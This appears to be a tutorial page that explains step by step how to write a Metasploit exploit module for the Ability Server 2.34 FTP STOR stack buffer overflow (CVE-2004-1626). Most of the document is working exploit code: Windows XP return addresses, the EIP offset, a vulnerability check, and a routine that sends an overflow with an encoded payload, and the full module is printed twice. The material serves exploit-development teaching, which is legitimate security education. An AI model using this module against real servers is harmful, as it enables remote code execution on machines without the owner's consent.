Exploit module

Remote Exploit

FTP exploit

Our example will be a very simple vulnerable FTP server called ability server.

What do we want?

• Create Exploit module

• Exploit FTP Server

• Set exploit rank

• Describe The module

• Let people know we created this module

• Add references about the vulnerability that we exploit

• Choose a default payload

• Set the Bad characters.

• Set Disclosure Date

• Targets and it's return address (EIP offset)

• Options to set the target IP, port. Also username and password if required.

• Check the target if vulnerable.

• Send the exploit

• Check if the module has been written correctly (msftidy.rb)

Steps

• Create Exploit module

• Exploit FTP Server

• Put a rank for the module

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

### Module Type ###
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

• Describe The module

• Let people know we created this module

• Add references about the vulnerability that we exploit

• Choose a default payload

• Set the Bad characters.

• Set Disclosure Date

• Targets and it's return address (EIP offset)

• Options to set the target IP, port. Also username and password if required.

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
      'Description'     => %q{
        This module exploits a stack-based buffer overflow in Ability Server 2.34.
        Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
        which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.

        The vulnerability has been confirmed on version 2.34 and has also been reported
        in version 2.25 and 2.32. Other versions may also be affected.},
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'muts',            # Initial discovery
          'Dark Eagle',      # same as muts
          'Peter Osterberg', # Metasploit
          'Ruby (@Rubyfu)',  # Just explain the module
        ],
      'References'      =>
        [
          [ 'CVE', '2004-1626' ],
          [ 'OSVDB', '11030'],
          [ 'EDB', '588'],
          ['URL', 'http://rubyfu.net'] # Just explain the module
        ],
      'Platform'        => %w{ win },
      'Targets'        =>
        [
          [
            'Windows XP SP2 ENG',
            {
              #JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)
              'Ret' => 0x73E32ECF,
              'Offset' => 966
            }
          ],
          [
            'Windows XP SP3 ENG',
            {
              #JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully patched)
              'Ret' => 0x7E429353,
              'Offset' => 966
            }
          ],
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate' => 'Oct 22 2004'
    ))

    register_options(
      [
        Opt::RPORT(21),
        OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
        OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
      ], self.class)
  end

• Check the target if vulnerable.

def check
  connect
  disconnect
  if banner =~ /Ability Server 2\.34/
    return Exploit::CheckCode::Appears
  else
    if banner =~ /Ability Server/
      return Exploit::CheckCode::Detected
    end
  end
  return Exploit::CheckCode::Safe
end

• Send the exploit

def exploit
  c = connect_login
  return if not c

  myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']

  # Take client IP address + FTP user lengths into account for EIP offset
  padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
  junk = rand_text_alpha(padd_size)

  sploit = junk
  sploit << [target.ret].pack('V')
  sploit << make_nops(32)
  sploit << payload.encoded
  sploit << rand_text_alpha(sploit.length)

  send_cmd(['STOR', sploit], false)
  handler
  disconnect
end

Wrapping up

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
      'Description'     => %q{
        This module exploits a stack-based buffer overflow in Ability Server 2.34.
        Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
        which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.

        The vulnerability has been confirmed on version 2.34 and has also been reported
        in version 2.25 and 2.32. Other versions may also be affected.},
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'muts',            # Initial discovery
          'Dark Eagle',      # same as muts
          'Peter Osterberg', # Metasploit
          'Ruby (@Rubyfu)',  # Just explain the module
        ],
      'References'      =>
        [
          [ 'CVE', '2004-1626' ],
          [ 'OSVDB', '11030'],
          [ 'EDB', '588'],
          ['URL', 'http://rubyfu.net'] # Just explain the module
        ],
      'Platform'       => %w{ win },
      'Targets'        =>
        [
          [
            'Windows XP SP2 ENG',
            {
              #JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)
              'Ret' => 0x73E32ECF,
              'Offset' => 966
            }
          ],
          [
            'Windows XP SP3 ENG',
            {
              #JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully patched)
              'Ret' => 0x7E429353,
              'Offset' => 966
            }
          ],
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate' => 'Oct 22 2004'
    ))

    register_options(
      [
        Opt::RPORT(21),
        OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
        OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
      ], self.class)
  end

  def check
    connect
    disconnect
    if banner =~ /Ability Server 2\.34/
      return Exploit::CheckCode::Appears
    else
      if banner =~ /Ability Server/
        return Exploit::CheckCode::Detected
      end
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    c = connect_login
    return if not c

    myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']

    # Take client IP address + FTP user lengths into account for EIP offset
    padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
    junk = rand_text_alpha(padd_size)

    sploit = junk
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << payload.encoded
    sploit << rand_text_alpha(sploit.length)

    send_cmd(['STOR', sploit], false)
    handler
    disconnect
  end
end

• Check if the module has been written correctly (msftidy.rb)

metasploit-framework/tools/dev/msftidy.rb ability_server_stor.rb